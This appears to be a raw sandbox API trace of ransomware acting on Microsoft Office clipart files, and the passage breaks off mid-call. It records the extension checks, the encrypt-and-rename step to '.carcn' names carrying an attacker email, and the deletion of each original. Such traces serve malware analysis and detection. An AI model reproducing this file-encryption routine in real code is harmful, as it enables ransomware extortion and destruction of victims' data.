GetLastError () returned 0x0 [0270.149] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xed4, lpOverlapped=0x0) returned 1 [0270.172] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xee0, lpOverlapped=0x0) returned 1 [0270.173] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.173] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.174] SetEndOfFile (hFile=0x370) returned 1 [0270.175] CloseHandle (hObject=0x370) returned 1 [0270.175] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.179] SetEndOfFile (hFile=0x554) returned 1 [0270.183] CloseHandle (hObject=0x554) returned 1 [0270.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0270.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.343] lstrlenW (lpString=".doc") returned 4 [0270.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.343] lstrlenW (lpString=".docx") returned 5 [0270.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.343] lstrlenW (lpString=".pdf") returned 4 [0270.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.343] lstrlenW (lpString=".xls") returned 4 [0270.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.343] lstrlenW (lpString=".xlsx") returned 5 [0270.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.343] lstrlenW (lpString=".ppt") returned 4 [0270.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.344] lstrlenW (lpString=".zip") returned 4 [0270.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.344] lstrlenW (lpString=".rar") returned 4 [0270.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.344] lstrlenW (lpString=".bz2") returned 4 [0270.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.344] lstrlenW (lpString=".7z") returned 3 [0270.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.344] lstrlenW (lpString=".dbf") returned 4 [0270.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.344] lstrlenW (lpString=".1cd") returned 4 [0270.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.344] lstrlenW (lpString=".jpg") returned 4 [0270.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.344] lstrlenW (lpString=".doc") returned 4 [0270.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.344] lstrlenW (lpString=".docx") returned 5 [0270.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.344] lstrlenW (lpString=".pdf") returned 4 [0270.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.345] lstrlenW (lpString=".xls") returned 4 [0270.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.345] lstrlenW (lpString=".xlsx") returned 5 [0270.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.345] lstrlenW (lpString=".ppt") returned 4 [0270.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.345] lstrlenW (lpString=".zip") returned 4 [0270.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.345] lstrlenW (lpString=".rar") returned 4 [0270.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.345] lstrlenW (lpString=".bz2") returned 4 [0270.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.345] lstrlenW (lpString=".7z") returned 3 [0270.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.345] lstrlenW (lpString=".dbf") returned 4 [0270.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.345] lstrlenW (lpString=".1cd") returned 4 [0270.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0270.345] lstrlenW (lpString=".jpg") returned 4 [0270.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.346] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.346] lstrlenW (lpString="BS01635_.WMF") returned 12 [0270.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.472] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=14996) returned 1 [0270.472] CloseHandle (hObject=0x530) returned 1 [0270.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0270.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.473] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.473] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.473] GetLastError () returned 0x0 [0270.473] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0270.476] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0270.477] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.478] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.478] SetEndOfFile (hFile=0x370) returned 1 [0270.478] CloseHandle (hObject=0x370) returned 1 [0270.478] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.478] SetEndOfFile (hFile=0x530) returned 1 [0270.482] CloseHandle (hObject=0x530) returned 1 [0270.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0270.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.647] lstrlenW (lpString=".doc") returned 4 [0270.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.647] lstrlenW (lpString=".docx") returned 5 [0270.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.647] lstrlenW (lpString=".pdf") returned 4 [0270.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.647] lstrlenW (lpString=".xls") returned 4 [0270.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.647] lstrlenW (lpString=".xlsx") returned 5 [0270.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.647] lstrlenW (lpString=".ppt") returned 4 [0270.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.647] lstrlenW (lpString=".zip") returned 4 [0270.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.647] lstrlenW (lpString=".rar") returned 4 [0270.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.647] lstrlenW (lpString=".bz2") returned 4 [0270.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.647] lstrlenW (lpString=".7z") returned 3 [0270.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.647] lstrlenW (lpString=".dbf") returned 4 [0270.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.648] lstrlenW (lpString=".1cd") returned 4 [0270.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.648] lstrlenW (lpString=".jpg") returned 4 [0270.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.648] lstrlenW (lpString=".doc") returned 4 [0270.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.648] lstrlenW (lpString=".docx") returned 5 [0270.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.648] lstrlenW (lpString=".pdf") returned 4 [0270.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.648] lstrlenW (lpString=".xls") returned 4 [0270.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.648] lstrlenW (lpString=".xlsx") returned 5 [0270.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.648] lstrlenW (lpString=".ppt") returned 4 [0270.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.648] lstrlenW (lpString=".zip") returned 4 [0270.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.648] lstrlenW (lpString=".rar") returned 4 [0270.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.648] lstrlenW (lpString=".bz2") returned 4 [0270.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.649] lstrlenW (lpString=".7z") returned 3 [0270.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.649] lstrlenW (lpString=".dbf") returned 4 [0270.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.649] lstrlenW (lpString=".1cd") returned 4 [0270.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0270.649] lstrlenW (lpString=".jpg") returned 4 [0270.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.649] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.649] lstrlenW (lpString="CG1606.WMF") returned 10 [0270.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.650] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3564) returned 1 [0270.650] CloseHandle (hObject=0x540) returned 1 [0270.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0270.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.651] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.651] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0270.652] GetLastError () returned 0x0 [0270.652] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xdec, lpOverlapped=0x0) returned 1 [0270.654] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xdf0, lpOverlapped=0x0) returned 1 [0270.655] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.655] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xe8, lpOverlapped=0x0) returned 1 [0270.655] SetEndOfFile (hFile=0x550) returned 1 [0270.656] CloseHandle (hObject=0x550) returned 1 [0270.656] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.656] SetEndOfFile (hFile=0x540) returned 1 [0270.658] CloseHandle (hObject=0x540) returned 1 [0270.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0270.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.659] lstrlenW (lpString=".doc") returned 4 [0270.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.659] lstrlenW (lpString=".docx") returned 5 [0270.659] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0270.659] lstrlenW (lpString=".pdf") returned 4 [0270.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.660] lstrlenW (lpString=".xls") returned 4 [0270.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.660] lstrlenW (lpString=".xlsx") returned 5 [0270.660] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0270.660] lstrlenW (lpString=".ppt") returned 4 [0270.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.660] lstrlenW (lpString=".zip") returned 4 [0270.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.660] lstrlenW (lpString=".rar") returned 4 [0270.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.660] lstrlenW (lpString=".bz2") returned 4 [0270.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.660] lstrlenW (lpString=".7z") returned 3 [0270.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.660] lstrlenW (lpString=".dbf") returned 4 [0270.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.660] lstrlenW (lpString=".1cd") returned 4 [0270.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.660] lstrlenW (lpString=".jpg") returned 4 [0270.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.661] lstrlenW (lpString=".doc") returned 4 [0270.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.661] lstrlenW (lpString=".docx") returned 5 [0270.661] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0270.661] lstrlenW (lpString=".pdf") returned 4 [0270.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.661] lstrlenW (lpString=".xls") returned 4 [0270.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.661] lstrlenW (lpString=".xlsx") returned 5 [0270.661] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0270.661] lstrlenW (lpString=".ppt") returned 4 [0270.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.661] lstrlenW (lpString=".zip") returned 4 [0270.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.661] lstrlenW (lpString=".rar") returned 4 [0270.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.661] lstrlenW (lpString=".bz2") returned 4 [0270.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.661] lstrlenW (lpString=".7z") returned 3 [0270.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.661] lstrlenW (lpString=".dbf") returned 4 [0270.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.662] lstrlenW (lpString=".1cd") returned 4 [0270.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0270.662] lstrlenW (lpString=".jpg") returned 4 [0270.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.662] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.662] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0270.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.663] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2422) returned 1 [0270.663] CloseHandle (hObject=0x540) returned 1 [0270.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0270.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.663] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.664] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0270.664] GetLastError () returned 0x0 [0270.664] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x976, lpOverlapped=0x0) returned 1 [0270.689] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x980, lpOverlapped=0x0) returned 1 [0270.690] ReadFile (in: hFile=0x540, 